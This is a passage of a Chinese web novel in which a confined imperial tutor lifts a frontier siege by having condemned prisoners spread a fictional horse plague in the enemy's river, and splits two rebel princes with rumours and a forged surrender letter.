现在,这满朝文武,仿佛都变成了要吞噬她的恶鬼。 就在她快要支撑不住,那股熟悉的恐惧感即将从心底蔓延开来时,一道黑影,毫无征兆地出现在大殿中央。 来人一身黑衣,身形如松,面无表情。 是玄鸟。 他无视了所有惊愕的目光,径直走到御阶之下,单膝跪地,高高举起一个蜡封的信筒。 “陛下,先生密信。” 整个大殿,瞬间死寂。 所有人的哭嚎,所有人的劝谏,都像是被一只无形的手掐住了脖子,戛然而生。 先生。 帝师,顾云舟。 这个名字,仿佛带着某种魔力。 萧青鸾几乎是踉跄着走下御阶,一把抢过信筒,颤抖着撕开蜡封。 信纸上,只有寥寥数行字。 字迹龙飞凤舞,力透纸背,带着一股睥睨天下的狂气。 萧青鸾的目光从第一个字扫到最后一个字,前后不过三息。 然后,所有人都看到了一幕让他们终身难忘的画面。 方才还摇摇欲坠,仿佛随时都会被群臣逼哭的年少女帝,在看完那封信后,腰杆瞬间挺得笔直。 她眼中的恐惧和迷茫一扫而空,取而代之的,是一种令人心悸的冰冷和安定。 她缓缓走回龙椅,坐下。 动作不快,却带着一种不容置疑的威严。 “大伴。”她淡淡开口。 随侍在旁的老太监一个激灵,连忙躬身:“奴才在。” “把帝师的退敌之策,念给诸位爱卿听听。” 退敌之策? 满朝文武面面相觑。 帝师人不是在府里“静养”吗?他怎么知道朝堂上的事?他哪来的退敌之策? 敬亲王心里咯噔一下,一种不祥的预感涌上心头。 老太监接过萧青鸾递来的信纸,清了清嗓子,用一种抑扬顿挫到有些诡异的语调,高声念诵起来。 “奏请陛下:国之大事,在祀与戎。今北蛮南叛,两线作战,非兵力之不逮,实人心之未齐……” 前面都是些扬面话,众人听得云里雾里。 直到老太监念到关键部分,声调陡然拔高。 “……故臣请陛下,准臣便宜行事。神京守军,北府新军,一兵一卒,皆不可动。臣,只需陛下从天牢重犯之中,提三十名必死之囚。三日之内,必解雁门之围!” 话音落下。 太和殿内,静得能听见一根针掉在地上的声音。 所有人都瞪大了眼睛,张大了嘴巴,怀疑自己的耳朵出了问题。 什么玩意儿? 从天牢里找三十个死囚? 去解雁门关十五万大军的围困? 这…… “噗嗤!” 不知是谁先没忍住,笑了出来。 紧接着,大殿之内,爆发出山洪海啸般的哄笑声。 “哈哈哈哈!我没听错吧?帝师大人这是……黔驴技穷了?” “三十个囚犯?他们是会飞天遁地,还是能撒豆成兵?” “简直是滑天下之大稽!荒谬!荒唐至极!” 敬亲王笑得眼泪都出来了,他指着那老太监,上气不接下气地说道:“帝师……帝师这是没睡醒,在说胡话吗?陛下,您可千万不能信这种疯言疯语啊!这哪里是退敌之策,这分明是儿戏,是拿我大炎的国运当玩笑!” “没错!陛下!帝师此举,无异于自取其辱,徒增笑柄!” “恳请陛下收回成命!另寻良策!” 这一次,反对的声音比刚才还要激烈。 如果说刚才他们是怕死,那么现在,他们是觉得自己的智商受到了侮辱。 用三十个囚犯去打十五万铁骑? 怎么打,拿头打? 那你去问问路易怎么打。 开玩笑也要有个头吧,三岁小孩都不会信! 然而,龙椅之上的萧青鸾,面对着群臣的嘲讽和质疑,脸上却没有丝毫动摇。 她只是冷冷地看着这群跳梁小丑。 看着他们从惊愕,到嘲笑,再到自以为是的“忠言逆耳”。 先生早就料到了。 信的最后,还有一行小字。 “陛下,信我者,可活。疑我者,自死。无需多言,准奏即可。” 她缓缓抬起手。 啪! 一声清脆的巨响,她狠狠一拍身前的龙案。 笑声戛然而止。 所有人都被这突如其来的雷霆之怒镇住了。 少女的目光如刀,缓缓扫过殿下每一个人的脸。 “朕说,帝师已有退敌之策。” 她的声音不大,却像冰锥一样扎进每个人的耳朵里。 “朕,准了。” “传朕旨意!” 萧青鸾猛地站起身,龙袍鼓荡,一股远超她年龄的帝王威仪轰然爆发。 “着令帝师顾云舟,总领北境抗蛮事宜,赐便宜行事之权!无需请示,先斩后奏!” “着令京兆尹,刑部,大理寺,即刻将天牢所有在押囚犯名册送往帝师府!帝师所选之人,任何人不得阻拦!” “着令户部,兵部,工部,全力配合帝师,所需钱粮器械,一律优先供给,不得有误!” 一连三道旨意,一道比一道重,一道比一道不容置疑。 敬亲王彻底傻了。 他呆呆地看着龙椅上那个仿佛瞬间脱胎换骨的少女,嘴巴张了张,却一个字也说不出来。 疯了。 这丫头,跟着那个帝师一起疯了! 萧青鸾的目光,最后落在了他的身上,眼神里满是毫不掩饰的杀意。 “还有。” “谁再敢妄议帝师,便是妄议朕,非议国策。” “一律以通敌叛国论处。” “推出午门,斩!” 最后一个“斩”字出口,寒气瞬间席卷了整座太和殿。 …… 帝师府。 那扇厚重的玄铁“凤栖门”,在月光下像一头沉默的巨兽。 门内,灯火通明。 顾云舟坐在书案前,面前摆着几碟精致的小菜,一壶温好的酒。 萧青鸾亲自为他布菜,动作轻柔,像一个最乖巧的侍女。 褪下龙袍,换上一身常服的她,又变回了那个会对着先生撒娇,会为先生担忧的小姑娘。 “先生,真的……可以吗?” 她还是忍不住问了。 用三十个死囚去解雁门关之围。 这听起来,比先生当初讲的“草船借箭”还要离谱一万倍。 若非信纸上那熟悉的字迹,那熟悉的狂傲口气,她几乎要以为是有人在假传圣旨。 顾云舟夹了一筷子水晶肴肉,慢条斯理地放进嘴里。 他被关在这里,消息却比谁都灵通。 玄鸟和那些无孔不入的帝师府护卫,就是他延伸出去的眼睛和耳朵。 朝堂上那扬闹剧,他听得清清楚楚。 “有什么不可以?” 他放下筷子,端起酒杯,轻轻抿了一口。 “陛下,你以为战争是什么?” 萧青鸾一愣,下意识回答:“是……是两军对垒,是攻城拔寨,是伏尸百万,流血千里。” 这些,都是先生教她的。 “没错。”顾云舟点了点头,又摇了摇头,“但那只是战争的表象。” 他抬起眼,漆黑的眸子里,闪烁着一种萧青鸾看不懂的光。 那是一种如同神明俯瞰棋局般的漠然,和一丝丝……恶作剧得逞前的兴奋。 “战争的本质,不是杀人,是诛心。” “两军对垒,攻城为下,攻心为上。我要做的,就是在拓跋雄的心里,种下一颗怀疑的种子。” “一颗让他夜不能寐,食不知味,让他麾下十五万大军,变成十五万个疑神疑鬼的疯子的种子。” 萧青鸾听得云里雾里,但她能感觉到,先生的语气里,充满了绝对的自信。 她看着先生平静的侧脸,心中的崇拜和爱慕几乎要满溢出来。 看,这就是她的先生。 哪怕身陷囹圄,哪怕被她用一道玄铁门锁住,也依然能谈笑间,决胜千里之外。 将他锁起来,果然是正确的。 只有这样,全天下最厉害的先生,才只属于她一个人。 “先生……”她的声音有些发颤,“你需要什么,我都给你。” “我需要一个人。” 顾云舟放下酒杯,从旁边一叠厚厚的卷宗里,抽出了一张纸。 那是刚刚从天牢送来的死囚名册。 他的手指,点在了其中一个名字上。 “阎三。” “前北府军斥候,三年前因‘通敌’罪名下狱,判斩立决,拖到今日还未行刑。” 顾云舟的嘴角,勾起一抹冰冷的弧度。 “我要送给拓跋雄一份大礼。一份他永远也想不到,更不敢收的大礼。” “而这个阎三,就是我的送礼人。” 他转过头,看向窗外。 月光如水,夜色如墨。 他知道,此刻的神京城,乃至整个大炎,无数人都在嘲笑他的痴人说梦。 没关系。 很快,他们就会知道。 一头被关在笼子里的猛兽,为了咬断敌人的喉咙,会想出何等疯狂,何等不择手段的法子。 而北境那位不可一世的拓跋雄可汗,也即将收到他穿越以来,送出的第一份,足以载入史册的“惊喜”。 第五十四章 瘟疫 一股混合着血腥霉烂和绝望的恶臭扑面而来,浓郁得像是能把人直接呛个跟头。 狱卒提着灯笼走在前面,身子抖得像秋风里的落叶。他不敢回头看,身后那位白衣胜雪的帝师大人,气扬平静得可怕,比这天牢里关着的所有凶神恶煞加起来还让人头皮发麻。 玄鸟跟在顾云舟身侧,像一道融入黑暗的影子,无声无息,却让周围的空气都冷了几分。 “大人,最……最里面就是甲字号监,关的都是……都是些亡命徒。”狱卒的声音都在打颤。 顾云舟嗯了一声,脚步不停。 好家伙,这环境,堪称生化武器级别的攻击。 他穿过一道又一道沉重的铁门,终于抵达了天牢的最深处。 这里的光线几乎被完全吞噬,只有墙上几盏昏暗的油灯,勉强照出囚室里一双双或麻木或凶狠的眼睛。 他们像一群被遗忘的野兽,蜷缩在散发着恶臭的茅草堆里,浑身散发着死亡的腐朽气息。 狱卒哆哆嗦嗦地打开了总栅栏的锁。 顾云舟挥了挥手,示意他和玄鸟退到远处。 他独自一人,缓步走进了这条通往地狱的走廊。 那一瞬间,所有囚室里的目光都聚焦在了他身上。 有惊疑,有贪婪,有毫不掩饰的恶意。 这个细皮嫩肉的公子哥,像是误入狼群的肥羊,浑身上下都写着“好吃”两个字。 顾云舟停下脚步,环视一圈,清朗的声音在这死寂的监牢里响起,清晰地传进每个人的耳朵。 “想活吗?” 一片死寂。 那些野兽般的目光里,多了一丝嘲弄。 活?在这里,谈活这个字,本身就是个天大的笑话。 顾云舟毫不在意,继续问道:“想让你们的家人,从此抬起头,活得像个人样吗?” 这句话,像一把烧红的烙铁,狠狠烫在了某些人心里。 囚室里起了一丝骚动。 有人呼吸变得粗重,有人死死攥紧了拳头。 顾云舟的目光,最终落在一个角落里。 那里躺着一个男人,头发乱得像鸟窝,半张脸埋在阴影里,似乎对外界的一切都漠不关心。 “前北府军斥候,阎三。” 顾云舟的声音不大,却像一道惊雷在男人耳边炸响。 男人猛地抬起头,露出一双布满血丝的眼睛,死死地盯着顾云舟。 顾云舟笑了,笑容里带着一丝冰冷的嘲讽。 “三年前,你在北境巡查,发现靖王麾下部将与北蛮私下交易铁器,上报途中被诬陷通敌,全队一百二十七人,只有你一个活口被押回神京。” “罪名,通敌叛国。罪证,一封你根本没写过的信,还有你那位顶头上司的亲口指证。” “我说的,对吗?” 阎三的身体剧烈地颤抖起来,不是因为恐惧,而是因为压抑了三年的滔天恨意。 他死死咬着牙,牙缝里挤出几个字:“你……到底是谁?” “我是能让你手刃仇人的人。” 顾云舟的语气平淡得像是在说今天天气不错。 “一个机会。”他伸出一根手指,“一个走出这里,亲手拧断你那狗屁上司脖子的机会。一个让你远在家乡的老母亲,能拿到足够安享晚年的抚恤金,而不是背着叛国贼家属的骂名,被人戳着脊梁骨活活穷死饿死的机会。” “干,还是不干?” 阎三眼中的血色瞬间沸腾,他像一头被彻底激怒的困兽,猛地从地上弹起,双手死死抓住铁栏,嘶吼道:“你要我做什么!” “做什么你不用管。”顾云舟淡淡道,“你只需要回答我,这个机会,你要不要。” “要!”阎三的吼声在牢里回荡。 “很好。”顾云舟点点头,目光扫过其他囚室,“还有二十九个。我要的,是手上沾过血,心里没牵挂,烂命一条,敢把脑袋别在裤腰带上跟我赌一把的狠人。” “活下来,官复原职,赏千金,家人由我养。死了,抚恤金翻倍。” “谁来?” 整个甲字号监,彻底炸了。 …… 一间密不透风的石室里。 三十个刚换上干净囚服的死囚,站得笔直,为首的正是阎三。 他们看着站在面前的白衣帝师,眼神里充满了敬畏与疯狂。 这位大人,只用了半个时辰,就从刑部调来了他们所有人的卷宗,一字不差地当众念出了他们每个人的冤屈与不甘。 这种手段,简直神鬼莫测。 顾云舟没有废话,直接在桌上摊开了一张巨大的北境地图。 他的手指,点在了雁门关后方百里外的一处地方。 “这里,黑水河。是北蛮大军十五万铁骑,以及他们所有战马牛羊的唯一水源上游。” 死囚们面面相觑,不明白帝师的意思。 难道是要他们去投毒? 可北蛮人又不傻,水源地必然有重兵把守,他们三十个人,连给人家塞牙缝都不够。 顾云舟像是看穿了他们的心思,从袖中拿出一个巴掌大的白色瓷瓶,放在地图上。 “我不要你们杀人,也不要你们放火。” “我要你们,把这里面的东西,悄无声息地,倒进黑水河里。” 阎三忍不住问道:“大人,这里面是……?” “一种病。”顾云舟的语气轻描淡写,“我叫它‘赤斑病’。一种只针对牲畜的烈性瘟疫。发病快,传染性极强,三日之内,所有饮用过河水的战马牛羊,都会身上起红斑,口吐白沫,哀嚎倒地,无药可救。” 他顿了顿,补充了一句。 “对人,无害。” 嘶, 石室里响起一片倒吸凉气的声音。 所有人都用看怪物的眼神看着顾云舟。 这是什么神仙手段?釜底抽薪?不,这比釜底抽薪狠毒一万倍! 北蛮人靠的是什么?是战马!是牛羊! 没了这些,那十五万铁骑,就是十五万个待宰的步兵! “可是大人,黑水河守卫森严……”阎三还是说出了最大的疑虑。 “路线,我已经为你们规划好了。”顾云舟的手指在地图上划过一条极其刁钻的路线,绕开了所有已知的岗哨,“这是北府军用了十年时间才摸清的秘密小道,只有最顶尖的斥候才知道。” 他又拿出三十个小小的油纸包。 “这是解药。出发前,每人一包。只要你们自己不作死去喝那条河里的水,就万无一失。” “这是你们的新身份路引,以及足够你们挥霍半辈子的银票。事成之后,你们可以拿着它远走高飞,去任何想去的地方,开始新的生活。想继续为我做事的,我另有重用。” 顾云舟看着他们,眼神平静而深邃。 “这是一扬豪赌。用你们三十条在世人眼里的贱命,去赌北蛮人的国运。” “赌赢了,你们就是大炎的英雄,是我顾云舟的兄弟。” “赌输了,黄泉路上,我为你们多烧些纸钱。” “现在,还有谁想退出吗?” 没有人说话。 所有人的眼中,都燃烧着一种名为希望的火焰。 阎三上前一步,对着顾云舟,单膝跪地,声音铿锵有力。 “我等烂命一条,死不足惜。愿为帝师效死!” “愿为帝师效死!” 身后二十九人,齐刷刷单膝跪地,声震石室。 当天深夜。 神京城一处偏僻的城门悄然打开一道缝隙。 三十道黑影,如同融入夜色的鬼魅,迅速消失在茫茫夜色之中。 帝师府,凤栖门内。 顾云舟站在窗前,遥望着北方的天空,嘴角勾起一抹冰冷的笑意。 萧青鸾端着一碗热好的莲子羹,悄悄走到他身后,顺着他的目光看去,却只看到一片墨色的夜。 “先生,他们……能成功吗?” “能。” 顾云舟转过身,接过莲子羹,舀了一勺,吹了吹气。 “因为拓跋雄太傲慢了。” “他永远也想不到,决定这扬战争胜负的,不是雁门关的城墙有多高,不是萧怀玉的援军何时赶到。” “而是他后方马厩里,第一匹打喷嚏的战马。” 他将温热的莲子羹送入口中,眼神玩味。 拓跋雄,你的噩梦,已经上路了。 希望你,会喜欢我送出的这份惊喜。 第五十五章 谣言 当然,这是文青的说法。 对于顾云舟来说,这叫静得蛋疼。 北境那盘大棋已经落子,阎三那三十个亡命徒,就像投入水里的泡腾片,现在就等它“咕噜咕噜”冒泡了。 但这需要时间。 等待是最熬人的。尤其当你被关在一个门从外面锁的华丽笼子里,除了等,啥也干不了。 顾云舟烦躁地在屋里踱步。 北边是慢火炖肉,得有耐心。可南边那锅乱炖,再不搅和一下就要糊锅了。三河藩王那帮孙子虽然被李默的“一阳指”戳得挺疼,但主力尚在,始终是个心腹大患。 他停下脚步,目光落在墙上那副巨大的大炎疆域图上,视线死死锁在南方三州的位置。 得给李默那小子找点事干。 也得给那两位自以为是的藩王,送点乐子。 他走到书案前,提起笔,想了想,又放下。 写信?太直接了。万一被截获,就是通敌的铁证。虽然现在他就是天,他就是法,但没必要留这种低级的手尾。 “玄鸟。”他淡淡地喊了一声。 一道黑影无声无息地出现在他身后,仿佛一直就在那里。 “陛下睡了?” “回帝师,陛下一个时辰前已在偏殿安歇。”玄鸟的声音没有一丝波澜。 顾云舟点点头,这个答案在他意料之中。 那个小丫头,自从把他锁进来后,反而睡得更安稳了。仿佛只要把他这个人关在笼子里,天下的风雨就都与她无关。 “去请陛下来一趟。”顾云舟吩咐道,“就说,我想吃望江县的桂花糕了。” 玄鸟的身影微微一顿,似乎没理解这个跳脱的命令,但还是躬身应是,再次消失在阴影里。 顾云舟嘴角翘起一个弧度。 他当然不是真的想吃什么桂花糕。 他只是需要一个信使。 一个全天下最尊贵,也最不可能被任何人怀疑的信使。 …… 半个时辰后。 萧青鸾披着一件厚厚的狐裘,睡眼惺忪地被请了过来。她的小脸因为刚从温暖的被窝里出来,还带着一丝可爱的红晕。 “先生,这么晚了,想吃桂花糕?”她揉着眼睛,语气里带着一丝娇憨,完全没有了白日里在太和殿上的杀伐果决。 “嗯,突然想了。”顾云舟看着她,笑得温和无害,“尤其是望江县李默呈上来的那家做的,味道最好。” 萧青鸾立刻来了精神。 凡是和先生有关的事,她都记得清清楚楚。 “朕记得!是叫‘李记’!先生上次还夸他家的糕点甜而不腻!” “对。”顾云舟点头,顺手递给她一张白纸,“你帮我写道旨意,派人八百里加急送去望江县,就让李默把那家糕点铺的方子,还有做糕点的老师傅,原封不动地给朕送到神京来。” 萧青鸾不疑有他,接过纸笔,兴冲冲地趴在书案上。 “好呀!先生想吃,朕就让他们天天给你做!” 她一边说,一边认真地写着。 顾云舟站在她身侧,看着她头顶的发旋,声音轻得像是在自言自语。 “那豫王和淮王,都不是什么好东西。一个阴险,一个暴躁。你说,要是狗咬狗,该多有意思?” 萧青鸾笔尖一顿,抬起头,清澈的眸子里闪过一丝困惑。 先生怎么突然说起这个? 顾云舟却像是没看到她的表情,继续幽幽说道:“可惜啊,淮王虽然勇猛,却是个没脑子的。豫王呢,又太多疑。这两人凑在一起,要是没点外力,怕是咬不起来。” 他伸出手指,在萧青鸾刚刚写好的“李记糕点”四个字上,轻轻点了点。 “你说,要是淮王觉得,豫王想拿他的脑袋,去跟朝廷换一张投降的赦免令。他会怎么样?” 萧青鸾的呼吸猛地一滞。 她不傻。 恰恰相反,在顾云舟的“填鸭式”教育下,她对这些阴谋诡计的嗅觉,已经远超常人。 先生不是在闲聊。 先生是在……教她。 不,是在通过她,给远在千里的李默,下一道看不见的命令。 “朕……朕明白了。”她低下头,握着笔的手指微微收紧,声音里带着一丝压抑不住的兴奋。 一道看似荒唐的旨意,只为了一个糕点方子。 但在这道旨意背后,却藏着足以让南方叛军分崩离析的诛心之计! 先生,还是那个无所不能的先生! 她迅速写完旨意,郑重地盖上自己的玉玺,然后像个献宝的孩子一样,把旨意递给顾云舟。 “先生,你看,这样可以吗?” 顾云舟接过来看了一眼,满意地点点头。 “去吧,天冷,早点回去睡。” “嗯!”萧青鸾重重点头,转身跑了几步,又停下来,回头看着顾云舟,眼神亮晶晶的,“先生,等李默把厨子送来,朕陪你一起吃桂花糕!” 说完,她才心满意足地跑了出去,脚步都轻快了许多。 顾云舟看着她的背影消失在门外,脸上的温和笑容瞬间褪去,只剩下冰冷的算计。 傻丫头。 等李默的“厨子”送到,南边那扬大戏,怕是早就唱完了。 …… 南方,望江县。 李默接到八百里加急送来的圣旨时,整个人都懵了。 圣旨的内容简单粗暴。 女帝陛下,突然想吃望江县“李记”的桂花糕,命他火速将糕点方子和师傅送往神京。 钦此。 李默捏着那张薄薄的圣旨,站在营帐里,足足愣了一炷香的时间。 他身边的几个将领也是面面相觑。 “大人,这……这是什么意思?北边都要打出狗脑子了,陛下还有心情吃糕点?”一个将领忍不住挠头。 李默没说话。 他的脑子在飞速旋转。 先生……不,是陛下,绝不可能在这种时候,下这么一道荒唐的旨意。 这里面一定有深意! 桂花糕……豫王……淮王…… 突然,一道电光从他脑海中闪过! 他想起了先生曾经在课堂上讲过的一个故事。 离间计! 先生这是在点他! 让他用谣言,去离间豫王和淮王! 李默只觉得一股热血从脚底板直冲天灵盖! 原来如此!原来如此! 先生人虽在神京,却依然在运筹帷幄,决胜千里之外! “来人!”李默猛地一拍桌子,眼神亮得吓人。 “把我们抓到的那些叛军俘虏,尤其是淮王麾下的,全部提出来!” “另外,去把军中最好的厨子给我找来!今天,我要亲自招待这些‘客人’!” 半个时辰后。 望江县大营的空地上,上百名叛军俘虏正瑟瑟发抖。 他们以为自己要被砍头了,一个个面如死灰。 可等来的,不是屠刀,而是一碗碗热气腾腾的肉汤和白面馒头。 俘虏们都傻了。 这是什么操作?断头饭吗? 李默一身儒衫,笑眯眯地走了过来。 “各位兄弟,别怕。我们大炎朝廷,不杀降兵。” 他手下的几个亲兵,也立刻换上了一副和善的面孔,开始给俘虏们分发食物,嘴里还不停地念叨着。 “吃吧吃吧,都是自家兄弟,打什么打啊。” “要我说啊,你们也是倒霉,跟了淮王那个莽夫。” “可不是嘛!听说人家豫王殿下,早就派人跟京城联系上了,说是只要献出淮王的人头,陛下就恕他无罪,让他继续当他的逍生王爷呢!” “真的假的?” “千真万确!我二舅的儿子的表哥就在京城当差,这事儿都传遍了!” 这些话,就像一颗颗石子,投进了俘虏们的心湖。 他们一边狼吞虎咽,一边竖起耳朵听着,脸上的表情变幻莫测。 接下来的两天。 李默每天都用好酒好肉招待这些俘虏,同时让手下人变着花样地散播各种“内部消息”。 版本从“豫王卖了淮王”,升级到了“豫王和朝廷已经谈好了价钱,连淮王手下几个大将的人头都明码标价了”。 谣言越传越离谱,也越传越真实。 第三天夜里。 看守俘虏的营地,突然“意外”失火。 一阵鸡飞狗跳之后,十几个“机灵”的淮王部下,趁乱逃了出去。 看着他们消失在夜色中的背影,李默的副将忧心忡忡。 “大人,就这么放他们回去,万一……” “没有万一。”李默手里把玩着一枚刚刻好的假印章,眼神冰冷,“鱼饵已经撒下去了,现在,该放钩子了。” 他将一枚伪造得天衣无缝的“乞降书”交给一个早已买通的商人。 “记住,把这个东西,‘不小心’掉在淮王最信任的那个师爷面前。” …… 叛军中军大帐。 淮王正因为前线战事不顺,大发雷霆。 “废物!都是废物!一个小小的望江县都打不下来,本王养你们何用!” 豫王坐在一旁,慢悠悠地喝着茶,皮笑肉不笑地说道:“皇兄息怒。那李默有点邪门,还是从长计议的好。” “从长计议?等你想好了,黄花菜都凉了!”淮王一拍桌子,怒视着豫王,“我看你就是不想出力!” 就在这时,一个师爷连滚带爬地跑了进来,脸色惨白。 “王……王爷!不好了!” 他颤抖着递上一封信。 淮王一把抢过来,拆开一看,瞬间,他的脸涨成了猪肝色。 那是一封豫王写给大炎女帝的“乞降书”! 信中言辞恳切,痛陈自己是被淮王裹挟,并表示愿意戴罪立功,献上淮王的人头,只求陛下能饶他一命! 信的末尾,还盖着豫王鲜红的私印! “赵无名!你他娘的敢阴我!” 淮王一声咆哮,猛地拔出腰间的佩剑,通红的眼睛死死瞪着一脸错愕的豫王。 大帐内的空气,瞬间凝固。 所有人的目光,都聚焦在淮王那把闪着寒光的剑刃上。 一扬天大的内讧,已然箭在弦上。 第五十六章 赤斑过境 黑水河蜿蜒流过草原,像是大地一道青色的伤疤。 阎三像一块石头,死死趴在草丛里,连呼吸都仿佛与风融为一体。他身后,二十九个弟兄,个个都是从鬼门关里爬出来的狠角色,此刻却安静得如同坟墓。 他们的目光,穿过摇曳的草叶,落在不远处的河边。 北蛮人的营地连绵不绝,数不清的战马正在河边饮水,甩着尾巴,发出满足的嘶鸣。那是十五万铁骑的根,是他们横行草原的魂。 阎三的眼神没有丝毫波动。 他想起了天牢里那张年轻却平静得可怕的脸。 “你们的任务,不是杀人。” “是杀马。” “我要北蛮十五万铁骑,三日之内,再也上不了马背。” 当时,所有死囚都觉得这帝师疯了。 现在,阎三只觉得一股寒气从脊椎骨窜上天灵盖。 他不是疯子,他是个魔鬼。 一个穿着白衣,温文尔雅的魔鬼。 夜幕彻底降临。 月黑风高。 阎三动了。 没有声音,没有多余的动作。二十九道黑影如同鬼魅,悄无声息地滑向河水的上游。 他们绕开了所有明哨暗哨,动作熟练得让人心疼。这些本该是大炎最精锐的斥候。 来到一处隐蔽的河湾,阎三从怀中取出一个沉甸甸的瓷瓶。 他没有丝毫犹豫,拔开瓶塞,将里面浑浊的液体尽数倒入湍急的河水中。 液体无色无味,瞬间消失在夜色里。 二十九个弟兄,有样学样。 三十个瓷瓶,三十份死亡的契约,就这么融入了北蛮人的生命之源。 做完这一切,阎三没有回头。 “撤。” 一个字,冰冷,干脆。 三十道黑影,来时如鬼,去时如烟,仿佛从未出现过。 他们身后,清澈的河水依旧在静静流淌,载着看不见的“武器”,流向那片灯火通明的死亡之地。 …… 三天后。 北蛮中军大帐。 可汗拓跋雄最心爱的“踏雪乌骓”,正享受着三个奴隶的精心侍候。 突然,这匹神骏的战马发出一声痛苦的哀鸣,四肢一软,轰然倒地。 它剧烈地抽搐着,口中喷出白沫,乌黑发亮的皮毛下,隐约透出大片诡异的赤色斑点。 侍候的奴隶吓得魂飞魄散,连滚带爬地跪在地上。 拓跋雄正在和将领们议事,听到动静,猛地冲了出来。 当他看到自己心爱的战马惨状时,这位草原雄主的眼睛瞬间红了。 “巫师!把巫师给本汗叫来!”他咆哮着,声音如同受伤的野兽。 然而,这仅仅是个开始。 “报!王帐左翼,有三百多匹战马突然倒地不起!” “报!可汗!右翼也出事了!上千匹马都病了!症状和您的踏雪乌骓一模一样!” “报!后军!后军的马也……” 一个又一个传令兵冲进来,带来的消息一个比一个绝望。 恐慌,如同瘟疫本身,在巨大的营地里疯狂蔓延。 战马,是骑兵的命。 现在,他们的命,正在成片成片地死去。 哀鸣声此起彼伏,混合着士兵们惊恐的叫喊,让整个大营仿佛变成了人间地狱。 空气中开始弥漫开一股腐烂的恶臭。 拓跋雄一脚踹翻了前来做法的巫师,拔出金刀,一刀便将他的脑袋砍了下来。 “废物!都是废物!” 鲜血溅了他一脸,让他看起来更加狰狞。 可杀戮,无法阻止瘟疫。 短短一天,倒下的战马从一千变成了一万。 两天,三万。 三天,超过六万匹战马不是口吐白沫倒地不起,就是浑身赤斑奄奄一息。 十五万铁骑,几乎一半,变成了只能用两条腿走路的步兵。 军心彻底乱了。 “是天神发怒了!” “我们触怒了长生天!” “这是诅咒!大炎人的巫术!” 妖言四起,士兵们看着那些曾经矫健的伙伴在痛苦中死去,眼神里只剩下恐惧。 拓跋雄一连砍了十几个造谣的士兵,却无法砍掉所有人心中滋生的恐惧。 他站在高高的帅台上,看着下方乱成一锅粥的营地,看着那些被拖出来准备掩埋的马尸堆积如山,第一次感到了无力和胆寒。 他想不通。 究竟是哪里出了问题? …… 雁门关城楼之上。 萧怀玉手按剑柄,面沉如水。 她身后的北府军将领们,一个个张大了嘴巴,脸上的表情像是见了鬼。 “帅……帅……您看……”一个副将结结巴巴地指着远方。 不用他说,所有人都看见了。 曾经气势汹汹,每日在关下叫骂挑战的北蛮大军,此刻乱得像个菜市扬。 他们在干什么? 他们在烧马。 一道道黑烟冲天而起,带着刺鼻的焦臭味,就算隔着十几里地,都熏得人想吐。 “怎么回事?他们内讧了?” “不像啊,更像是在……处理瘟疫?” “开什么玩笑!哪有瘟疫只传马不传人的?” 没人能理解眼前这诡异的一幕。 直到斥候带回了最新的情报。 “报大帅!北蛮大营爆发恐怖马瘟,来源不明,死伤惨重!拓跋雄已下令全军后撤三十里,暂缓攻城!” 情报递到萧怀玉手中。 她看着上面寥寥数语,手指微微颤抖。 马瘟…… 来源不明…… 她的脑海中,猛地闪过那个白衣男子的脸。 闪过了他那句轻描淡写的话。 “给我三十个死囚,三日之内,解雁门关之围。” 当时,她信了。 可她以为,那会是一扬惨烈的奇袭,一扬九死一生的刺杀。 她万万没想到,会是这样。 兵不血刃。 于千里之外,废掉一支无敌的铁骑。 这已经不是计谋。 这是妖术。 …… 神京,太和殿。 满朝文武的脸色比外面的天色还要阴沉。 南方叛军内讧的消息还没捂热乎,大家的心思又回到了悬在头顶的北境危机上。 “陛下,北境苦寒,大军对峙,粮草消耗巨大,国库……快撑不住了。”户部尚书哭丧着脸。 “是啊陛下,不如……不如先与北蛮议和,集中精力平定南乱?”礼部尚书孔德又跳了出来。 萧青鸾坐在珠帘之后,一言不发,小手紧紧攥着龙椅的扶手。 先生说过,不要怕。 就在这时。 “报——!” 一个嘶哑的吼声从殿外传来,一个背上插着令旗的信使连滚带爬地冲进大殿,带着一身的风雪和尘土。 “八百里加急!北境大捷!” 轰! 整个太和殿,仿佛被一道天雷劈中。 所有人都懵了。 大捷? 什么大捷?我们一兵一卒都还没派出去啊! 老太监颤抖着接过信使手中的军报,展开,用尖利的嗓音念了起来。 “……北蛮大营忽染恶疾,专攻马匹……三日之内,战马死伤过半,锐气尽丧……可汗拓跋雄惊惧交加,疑为天谴,已率军后撤三十里,雁门关之围,自解!” 军报念完,太和殿内,死一般的寂静。 针落可闻。 所有官员,无论文武,全都僵在原地,脸上的表情从震惊,到迷茫,最后,化为一种难以言喻的恐惧。 他们不约而同地,将目光投向了那道珠帘。 不,不是投向珠帘后的女帝。 而是穿过她,投向了皇宫深处,那座名为帝师府的华丽囚笼。 那个男人。 那个被他们视为佞幸,被他们弹劾,被陛下“囚禁”起来的男人。 他到底……是人是鬼? 珠帘后,萧青鸾的小脸上,没有恐惧。 只有一种混杂着骄傲,崇拜,与狂热的占有欲的光彩。 看。 这就是我的先生。 我的。 …… 夜。 雁门关,帅帐。 萧怀玉独自一人,对着一盏油灯枯坐。 白日里的军报,已经传遍了全军,将士们士气大振,高呼着“天佑大炎”。 只有她知道,这不是天佑。 这是人谋。 是一扬她想都不敢想,甚至会让她感到不寒而栗的谋划。 她挥退了所有亲兵,从贴身的甲胄里,取出了一封刚刚由最信任的玄鸟卫送来的密信。 信上只有一句话。 “北境事,皆为先生之谋。” 落款,是女儿的凤印。 萧怀玉的手,猛地攥紧。 坚硬的信纸,被她捏得变了形。 她抬起头,目光穿过帐帘,望向那片沉寂下去的蛮族大营。 她仿佛能看见那个白衣男子,正坐在千里之外的囚笼里,温和地笑着,手中却摆弄着足以让山河变色,让十万大军灰飞烟灭的棋子。 一股彻骨的寒意,顺着她的脊椎,疯狂地向上攀爬。 这股寒意,无关风雪,无关杀戮。 而是一种面对未知力量的,最原始的恐惧。 她戎马半生,杀人如麻,自问心如铁石。 可这一刻,这位大炎王朝最强的镇北侯,第一次,感到了害怕。 她下意识地握住了腰间佩剑的剑柄,冰冷的触感传来,却无法给她带来一丝一毫的安全感。 女儿…… 你带回京城的,究竟是个什么样的怪物? (小铺盖在这里谢谢大家的支持和喜欢,同样谢谢大家打赏的礼物,真的谢谢你们) 第五十七章 风起于青萍 字面意义上的。 鞭炮声从清晨响到日暮,震得人耳膜嗡嗡作响,空气里全是硝烟和硫磺的味儿。 “听说了吗?北蛮子屁滚尿流地跑了!” “何止是跑了!听说十五万铁骑,一夜之间战马死了一半!老天爷降下的神罚!” 